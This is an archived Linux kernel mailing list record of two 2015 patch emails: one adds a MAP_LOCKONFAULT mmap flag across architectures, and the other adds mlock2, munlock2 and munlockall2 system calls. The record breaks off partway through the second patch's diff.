X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f170.google.com (mail-qk0-f170.google.com [209.85.220.170])
	by kanga.kvack.org (Postfix) with ESMTP id 6FE819003C7
	for <linux-mm@kvack.org>; Tue, 21 Jul 2015 15:59:44 -0400 (EDT)
Original-Received: by qkbm65 with SMTP id m65so86218637qkb.2
        for <linux-mm@kvack.org>; Tue, 21 Jul 2015 12:59:44 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=khj2+LjP5ycvdBNcPh63N7ohyqYse+0BsIqiKZ9X2ww=;
        b=VylJyne6ZrzYFEfOnio+vPyb0Y/4ZAMUitZ7OgXqIdPD57EyjJB0fu0eAY4s+BMSey
         +1uiJdPYqy0AfcQifJlsc0uxlua3VFZCB6s5ylBU4ppdiP+N6/76oPRb2qWvifStExM0
         zAo97jAeFuAVzdYQB2ddrJr7V9yteCGFuRspjbN+4ULSCvwbXf6lBTXSzp3uhskrBsVa
         /DuzArPWtfLtCj9kCoChVskRxNo+6OqhVEdu5+AcYCM5IxqUD76AnwFYh7DpAnnXFBYg
         S7L28MRyogCC6lOsJNsaXcFJicr/Jdj4I5n55X4o+AsbSA+9DPGdFyYJYRH+sNMVMiXs
         ZhLA==
X-Gm-Message-State: ALoCoQmvoNmUPigUuiLfg+qDI5Fwd18FnmR4KNqZSnLHKLCNCpDvCIvBMBSg2DT69iXUAdwwF3FcBGfRJjWQ1NO+2aJKb7UeGjOUoIRfR6cAw22IFivRIk3Py5sbx5UusMI4AQoIpSSWx+pqOznxY5mLsWQvSWLa0F2kDxN5RUhVE1fNqLPJCuJO5MA4ftpwGic7exUbl8G/
X-Received: by 10.140.135.80 with SMTP id 77mr54176750qhh.8.1437508784173;
        Tue, 21 Jul 2015 12:59:44 -0700 (PDT)
X-Received: by 10.140.135.80 with SMTP id 77mr54176659qhh.8.1437508783404;
        Tue, 21 Jul 2015 12:59:43 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id p105si29624373qgd.86.2015.07.21.12.59.43
        for <linux-mm@kvack.org>;
        Tue, 21 Jul 2015 12:59:43 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id A7A2B29176;
	Tue, 21 Jul 2015 19:59:42 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 6F0B129171;
	Tue, 21 Jul 2015 19:59:42 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437508782; bh=ycuDQMKSBEwgPDs6bbb1rAfM3wCQt8M2zC6BNcNuwck=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=obVpHI45GrNefARpMc/3QA2XRTaWICmjGymmjaOzsiRwdSCq6hD3DRkReLKdrDC9/
	 a0gNgwgxRZ+WPTgixTOaUZq0KWZhpg6JHlwaydhpfvzdQ8fioXcbv+gBuIw1kNSd5p
	 anu6x9eoDrTC/YOzw0qiumd4F0OvRq13uSUvzeD4=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.165])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 6515D2111;
	Tue, 21 Jul 2015 19:59:42 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1437508781-28655-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136033 gmane.linux.ports.alpha:3212 gmane.linux.kernel:2001548 gmane.linux.ports.mips.general:49518 gmane.linux.ports.parisc:25848 gmane.linux.ports.ppc64.devel:115641 gmane.linux.ports.sparc:21253 gmane.linux.kernel.cross-arch:28540 gmane.linux.kernel.api:13003
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136033>

The cost of faulting in all memory to be locked can be very high when
working with large mappings.  If only portions of the mapping will be
used this can incur a high penalty for locking.

Now that we have the new VMA flag for the locked but not present state,
expose it as an mmap option like MAP_LOCKED -> VM_LOCKED.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>
Cc: Chris Metcalf <cmetcalf@ezchip.com>
Cc: Guenter Roeck <linux@roeck-us.net>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
---
Changes from V3:
 Add missing MAP_LOCKONFAULT to tile

 arch/alpha/include/uapi/asm/mman.h   | 1 +
 arch/mips/include/uapi/asm/mman.h    | 1 +
 arch/parisc/include/uapi/asm/mman.h  | 1 +
 arch/powerpc/include/uapi/asm/mman.h | 1 +
 arch/sparc/include/uapi/asm/mman.h   | 1 +
 arch/tile/include/uapi/asm/mman.h    | 1 +
 arch/xtensa/include/uapi/asm/mman.h  | 1 +
 include/linux/mman.h                 | 3 ++-
 include/uapi/asm-generic/mman.h      | 1 +
 kernel/events/core.c                 | 2 ++
 mm/mmap.c                            | 6 ++++--
 11 files changed, 16 insertions(+), 3 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 77ae8db..3f80ca4 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -30,6 +30,7 @@
 #define MAP_NONBLOCK	0x40000		/* do not block on IO */
 #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x200000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_SYNC		2		/* synchronous memory sync */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index 71ed81d..905c1ea 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -48,6 +48,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 /*
  * Flags for msync
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index c0871ce..c4695f6 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -24,6 +24,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index f93f7eb..40a3fda 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -31,5 +31,6 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 #endif /* _UAPI_ASM_POWERPC_MMAN_H */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 8cd2ebc..3d74ab7 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -26,6 +26,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x8000		/* Lock pages after they are faulted in, do not prefault */
 
 
 #endif /* _UAPI__SPARC_MMAN_H__ */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index acdd013..800e5c3 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -29,6 +29,7 @@
 #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
 #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
 #define MAP_HUGETLB	0x4000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 
 /*
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 5725a15..689e1f2 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -55,6 +55,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 #ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED
 # define MAP_UNINITIALIZED 0x4000000	/* For anonymous mmap, memory could be
 					 * uninitialized */
diff --git a/include/linux/mman.h b/include/linux/mman.h
index 16373c8..437264b 100644
--- a/include/linux/mman.h
+++ b/include/linux/mman.h
@@ -86,7 +86,8 @@ calc_vm_flag_bits(unsigned long flags)
 {
 	return _calc_vm_trans(flags, MAP_GROWSDOWN,  VM_GROWSDOWN ) |
 	       _calc_vm_trans(flags, MAP_DENYWRITE,  VM_DENYWRITE ) |
-	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    );
+	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    ) |
+	       _calc_vm_trans(flags, MAP_LOCKONFAULT,VM_LOCKONFAULT);
 }
 
 unsigned long vm_commit_limit(void);
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index 555aab0..007b784 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -12,6 +12,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 /* Bits [26:31] are reserved, see mman-common.h for MAP_HUGETLB usage */
 
diff --git a/kernel/events/core.c b/kernel/events/core.c
index d3dae34..53f312c 100644
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -5816,6 +5816,8 @@ static void perf_event_mmap_event(struct perf_mmap_event *mmap_event)
 			flags |= MAP_EXECUTABLE;
 		if (vma->vm_flags & VM_LOCKED)
 			flags |= MAP_LOCKED;
+		if (vma->vm_flags & VM_LOCKONFAULT)
+			flags |= MAP_LOCKONFAULT;
 		if (vma->vm_flags & VM_HUGETLB)
 			flags |= MAP_HUGETLB;
 
diff --git a/mm/mmap.c b/mm/mmap.c
index de89be4..54715b6 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1301,7 +1301,7 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
 	vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
 			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
 
-	if (flags & MAP_LOCKED)
+	if (flags & (MAP_LOCKED | MAP_LOCKONFAULT))
 		if (!can_do_mlock())
 			return -EPERM;
 
@@ -2678,12 +2678,14 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
 		flags |= MAP_LOCKED;
 		drop_lock_flag = VM_LOCKED;
 	} else if (vma->vm_flags & VM_LOCKONFAULT) {
+		flags |= MAP_LOCKONFAULT;
 		drop_lock_flag = VM_LOCKONFAULT;
 	}
 
+
 	if (drop_lock_flag)
 		/* drop PG_Mlocked flag for over-mapped range */
-		munlock_vma_pages_range(vma, start, start + size, VM_LOCKED);
+		munlock_vma_pages_range(vma, start, start + size, drop_lock_flag);
 
 	file = get_file(vma->vm_file);
 	ret = do_mmap_pgoff(vma->vm_file, start, size,
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch
Subject: [PATCH V4 2/6] mm: mlock: Add new mlock, munlock, and munlockall system calls
Date: Tue, 21 Jul 2015 15:59:37 -0400
Lines: 935
Approved: news@gmane.org
Message-ID: <1437508781-28655-3-git-send-email-emunson@akamai.com>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1437508809 7649 80.91.229.3 (21 Jul 2015 20:00:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Jul 2015 20:00:09 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com,
	linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org,
	linux-mips@linux-mips.org,
	linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jul 21 21:59:52 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZHdhc-0003sP-Hx
	for glkm-linux-mm-2@m.gmane.org; Tue, 21 Jul 2015 21:59:49 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id AFB109003C9; Tue, 21 Jul 2015 15:59:45 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id A347C9003C7; Tue, 21 Jul 2015 15:59:45 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 8AE589003C9; Tue, 21 Jul 2015 15:59:45 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f178.google.com (mail-qk0-f178.google.com [209.85.220.178])
	by kanga.kvack.org (Postfix) with ESMTP id 55ED29003C7
	for <linux-mm@kvack.org>; Tue, 21 Jul 2015 15:59:45 -0400 (EDT)
Original-Received: by qkdv3 with SMTP id v3so140384671qkd.3
        for <linux-mm@kvack.org>; Tue, 21 Jul 2015 12:59:45 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=qv0jHhL+pNzT4q7ROH9yduNPWcUgIODBQNyOy7X5BPc=;
        b=lLvcUMHdeqRdvN8q1qEHxgFTce9Oyj/F0bAwAxdrJn4vQxXosWOq7qsDjV0Doovv7w
         eC5wmS8TY5fmDOHcGMyT2J9MSqbpDUDGUzfk6jvAr9wvOd7yyLDmY5PD84UNO2zv9SK1
         DFh5arn4youjgZd+fXkpHOGPehKoeVqwJOdTQ+eOg9nQsk3f395PUL/qlRNgqnXWP0lc
         nDbmlLKmedAMnrBmTByi21FsgcHEJ4xtONh0vyqFgxPbJXNB6sep4ZYdYpFQy8cAy7UQ
         Rv7vNTUYnWWmiRYwut3wKBBxeg3YjeRY6gUUyqJ8oiNUafECfz3eswvCARxUFxIMTilH
         gsGQ==
X-Gm-Message-State: ALoCoQkpPCFKD+YB4knvZ0o9iJMjca7ExUBu5RXCieF8m0bxJlUxagYJXhFqHJ8vaGf6oUNN3bcH9JUemGr1Ny0lqU8GF6xJj7D7VtclC8+CGab4IsbvXhmZnOnJGePHIKidHWGN4Bh8oDHIVUL0rr0c1/MW8n+azO5z06pYLwOZ4DnNQOzbyJIUT13B3GswZ5gDayHxq1qX
X-Received: by 10.140.239.129 with SMTP id k123mr52954047qhc.66.1437508785095;
        Tue, 21 Jul 2015 12:59:45 -0700 (PDT)
X-Received: by 10.140.239.129 with SMTP id k123mr52953821qhc.66.1437508783215;
        Tue, 21 Jul 2015 12:59:43 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id 123si29576350qha.40.2015.07.21.12.59.42
        for <linux-mm@kvack.org>;
        Tue, 21 Jul 2015 12:59:43 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 88B4D29173;
	Tue, 21 Jul 2015 19:59:42 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 553622917B;
	Tue, 21 Jul 2015 19:59:42 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437508782; bh=RVHm7LSKhqDOEfdSH3CD2Rw+ShbOIb9Q4aSvScM8DXQ=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=ATtbVdzfXxB9ZWTQJXX8ywk+6609XCTLfhrG/G2r/Xtl+w0ymE0H8RJPJf1TEII9d
	 Th2GmR+uMdYhs5QJr6fMmechOw6jARHLNnxfQ72eKVlryeAH60xo9RctBFKxHHHNmx
	 sTjD7sQxQxXVM3fi65NpGhZOA+aHmWhV/GKamEQM=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.165])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 474702101;
	Tue, 21 Jul 2015 19:59:42 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1437508781-28655-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136034 gmane.linux.ports.alpha:3213 gmane.linux.kernel:2001549 gmane.linux.ports.arm.kernel:428031 gmane.linux.ports.ia64:25604 gmane.linux.ports.mips.general:49519 gmane.linux.ports.parisc:25849 gmane.linux.ports.ppc64.devel:115642 gmane.linux.ports.sh.devel:47426 gmane.linux.ports.sparc:21254 gmane.linux.kernel.api:13004 gmane.linux.kernel.cross-arch:28541
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136034>

With the refactored mlock code, introduce new system calls for mlock,
munlock, and munlockall.  The new calls will allow the user to specify
what lock states are being added or cleared.  mlock2 and munlock2 are
trivial at the moment, but a follow on patch will add a new mlock state
making them useful.

munlock2 addresses a limitation of the current implementation.  If a
user calls mlockall(MCL_CURRENT | MCL_FUTURE) and then later decides
that MCL_FUTURE should be removed, they would have to call munlockall()
followed by mlockall(MCL_CURRENT) which could potentially be very
expensive.  The new munlockall2 system call allows a user to simply
clear the MCL_FUTURE flag.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Cc: Guenter Roeck <linux@roeck-us.net>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-mips@linux-mips.org
Cc: linux-am33-list@redhat.com
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-mm@kvack.org
---
Changes from V3:
* Do a (hopefully) complete job of adding the new system calls

 arch/alpha/include/asm/unistd.h           |  2 +-
 arch/alpha/include/uapi/asm/mman.h        |  2 ++
 arch/alpha/include/uapi/asm/unistd.h      |  3 +++
 arch/alpha/kernel/systbls.S               |  3 +++
 arch/arm/include/asm/unistd.h             |  2 +-
 arch/arm/include/uapi/asm/unistd.h        |  3 +++
 arch/arm/kernel/calls.S                   |  3 +++
 arch/arm64/include/asm/unistd32.h         |  6 ++++++
 arch/avr32/include/uapi/asm/unistd.h      |  3 +++
 arch/avr32/kernel/syscall_table.S         |  3 +++
 arch/blackfin/include/uapi/asm/unistd.h   |  3 +++
 arch/blackfin/mach-common/entry.S         |  3 +++
 arch/cris/arch-v10/kernel/entry.S         |  3 +++
 arch/cris/arch-v32/kernel/entry.S         |  3 +++
 arch/frv/kernel/entry.S                   |  3 +++
 arch/ia64/include/asm/unistd.h            |  2 +-
 arch/ia64/include/uapi/asm/unistd.h       |  3 +++
 arch/ia64/kernel/entry.S                  |  3 +++
 arch/m32r/kernel/entry.S                  |  3 +++
 arch/m32r/kernel/syscall_table.S          |  3 +++
 arch/m68k/include/asm/unistd.h            |  2 +-
 arch/m68k/include/uapi/asm/unistd.h       |  3 +++
 arch/m68k/kernel/syscalltable.S           |  3 +++
 arch/microblaze/include/uapi/asm/unistd.h |  3 +++
 arch/microblaze/kernel/syscall_table.S    |  3 +++
 arch/mips/include/uapi/asm/mman.h         |  5 +++++
 arch/mips/include/uapi/asm/unistd.h       | 21 +++++++++++++++------
 arch/mips/kernel/scall32-o32.S            |  3 +++
 arch/mips/kernel/scall64-64.S             |  3 +++
 arch/mips/kernel/scall64-n32.S            |  3 +++
 arch/mips/kernel/scall64-o32.S            |  3 +++
 arch/mn10300/kernel/entry.S               |  3 +++
 arch/parisc/include/uapi/asm/mman.h       |  2 ++
 arch/parisc/include/uapi/asm/unistd.h     |  5 ++++-
 arch/powerpc/include/uapi/asm/mman.h      |  2 ++
 arch/powerpc/include/uapi/asm/unistd.h    |  3 +++
 arch/s390/include/uapi/asm/unistd.h       |  5 ++++-
 arch/s390/kernel/compat_wrapper.c         |  3 +++
 arch/s390/kernel/syscalls.S               |  3 +++
 arch/sh/kernel/syscalls_32.S              |  3 +++
 arch/sparc/include/uapi/asm/mman.h        |  2 ++
 arch/sparc/include/uapi/asm/unistd.h      |  5 ++++-
 arch/sparc/kernel/systbls_32.S            |  2 +-
 arch/sparc/kernel/systbls_64.S            |  4 ++--
 arch/tile/include/uapi/asm/mman.h         |  5 +++++
 arch/x86/entry/syscalls/syscall_32.tbl    |  3 +++
 arch/x86/entry/syscalls/syscall_64.tbl    |  3 +++
 arch/xtensa/include/uapi/asm/mman.h       |  5 +++++
 arch/xtensa/include/uapi/asm/unistd.h     | 10 ++++++++--
 include/linux/syscalls.h                  |  4 ++++
 include/uapi/asm-generic/mman.h           |  2 ++
 include/uapi/asm-generic/unistd.h         |  8 +++++++-
 kernel/sys_ni.c                           |  3 +++
 mm/mlock.c                                | 28 ++++++++++++++++++++++++++++
 54 files changed, 205 insertions(+), 19 deletions(-)

diff --git a/arch/alpha/include/asm/unistd.h b/arch/alpha/include/asm/unistd.h
index a56e608..1d09392 100644
--- a/arch/alpha/include/asm/unistd.h
+++ b/arch/alpha/include/asm/unistd.h
@@ -3,7 +3,7 @@
 
 #include <uapi/asm/unistd.h>
 
-#define NR_SYSCALLS			514
+#define NR_SYSCALLS			517
 
 #define __ARCH_WANT_OLD_READDIR
 #define __ARCH_WANT_STAT64
diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..ec72436 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -38,6 +38,8 @@
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
 #define MADV_SEQUENTIAL	2		/* expect sequential page references */
diff --git a/arch/alpha/include/uapi/asm/unistd.h b/arch/alpha/include/uapi/asm/unistd.h
index aa33bf5..29141d6 100644
--- a/arch/alpha/include/uapi/asm/unistd.h
+++ b/arch/alpha/include/uapi/asm/unistd.h
@@ -475,5 +475,8 @@
 #define __NR_getrandom			511
 #define __NR_memfd_create		512
 #define __NR_execveat			513
+#define __NR_mlock2			514
+#define __NR_munlock2			515
+#define __NR_munlockall2		516
 
 #endif /* _UAPI_ALPHA_UNISTD_H */
diff --git a/arch/alpha/kernel/systbls.S b/arch/alpha/kernel/systbls.S
index 9b62e3f..04d1cce 100644
--- a/arch/alpha/kernel/systbls.S
+++ b/arch/alpha/kernel/systbls.S
@@ -532,6 +532,9 @@ sys_call_table:
 	.quad sys_getrandom
 	.quad sys_memfd_create
 	.quad sys_execveat
+	.quad sys_mlock2
+	.quad sys_munlock2			/* 515 */
+	.quad sys_munlockall2
 
 	.size sys_call_table, . - sys_call_table
 	.type sys_call_table, @object
diff --git a/arch/arm/include/asm/unistd.h b/arch/arm/include/asm/unistd.h
index 32640c4..7cba573 100644
--- a/arch/arm/include/asm/unistd.h
+++ b/arch/arm/include/asm/unistd.h
@@ -19,7 +19,7 @@
  * This may need to be greater than __NR_last_syscall+1 in order to
  * account for the padding in the syscall table
  */
-#define __NR_syscalls  (388)
+#define __NR_syscalls  (392)
 
 /*
  * *NOTE*: This is a ghost syscall private to the kernel.  Only the
diff --git a/arch/arm/include/uapi/asm/unistd.h b/arch/arm/include/uapi/asm/unistd.h
index 0c3f5a0..46eaf405 100644
--- a/arch/arm/include/uapi/asm/unistd.h
+++ b/arch/arm/include/uapi/asm/unistd.h
@@ -414,6 +414,9 @@
